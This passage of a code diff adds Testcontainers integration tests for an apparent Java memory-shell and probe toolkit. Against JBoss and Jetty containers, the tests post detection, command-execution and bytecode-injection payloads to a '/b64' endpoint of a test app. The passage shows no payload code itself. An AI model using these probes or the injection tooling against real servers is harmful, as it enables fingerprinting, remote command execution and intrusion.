+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JBOSS, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.jbossas;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@Slf4j
+@Testcontainers
+public class Jboss711ContainerTest {
+    public static final String imageName = "reajason/jboss:7-jdk7";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.7.0_17|51", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JBOSS, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.jbosseap;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@Slf4j
+@Testcontainers
+public class JbossEap6ContainerTest {
+    public static final String imageName = "reajason/jboss:eap-6-jdk8";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JBOSS, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.jbosseap;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@Slf4j
+@Testcontainers
+public class JbossEap7ContainerTest {
+    public static final String imageName = "reajason/jboss:eap-7-jdk8";
+
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.UNDERTOW, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java

@@ -0,0 +1,78 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.probe.payload.response.JettyWriter;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty10ContainerTest {
+    public static final String imageName = "jetty:10-jre11";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|11.0.26|55", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V11);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V11);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java

@@ -0,0 +1,84 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.probe.payload.response.JettyWriter;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty11ContainerTest {
+    public static final String imageName = "jetty:11.0-jre17";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @AfterAll
+    public static void tearDown() {
+        System.out.println(container.getLogs());
+    }
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|17.0.15|61", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V17);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V17);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java

@@ -0,0 +1,56 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty12ee10ContainerTest {
+    public static final String imageName = "reajason/jetty:12.0-jre21-ee10";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|21.0.7|65", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java

@@ -0,0 +1,56 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty12ee8ContainerTest {
+    public static final String imageName = "reajason/jetty:12.0-jre21-ee8";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|21.0.7|65", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java

@@ -0,0 +1,62 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.probe.payload.response.JettyWriter;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty12ee9ContainerTest {
+    public static final String imageName = "reajason/jetty:12.0-jre21-ee9";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|21.0.7|65", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java

@@ -0,0 +1,84 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.probe.payload.response.JettyWriter;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty61ContainerTest {
+    public static final String imageName = "reajason/jetty:6.1-jdk6";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @AfterAll
+    public static void tearDown() {
+        System.out.println(container.getLogs());
+    }
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.6.0_45|50", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java

@@ -0,0 +1,78 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.probe.payload.response.JettyWriter;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty75ContainerTest {
+    public static final String imageName = "reajason/jetty:7.5.4-jdk6";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.6.0_45|50", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java

@@ -0,0 +1,78 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.probe.payload.response.JettyWriter;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty76ContainerTest {
+    public static final String imageName = "reajason/jetty:7.6-jdk6";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.6.0_45|50", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java

@@ -0,0 +1,78 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.probe.payload.response.JettyWriter;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty81ContainerTest {
+    public static final String imageName = "reajason/jetty:8.1-jdk7";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.7.0_17|51", data);
+    }
+
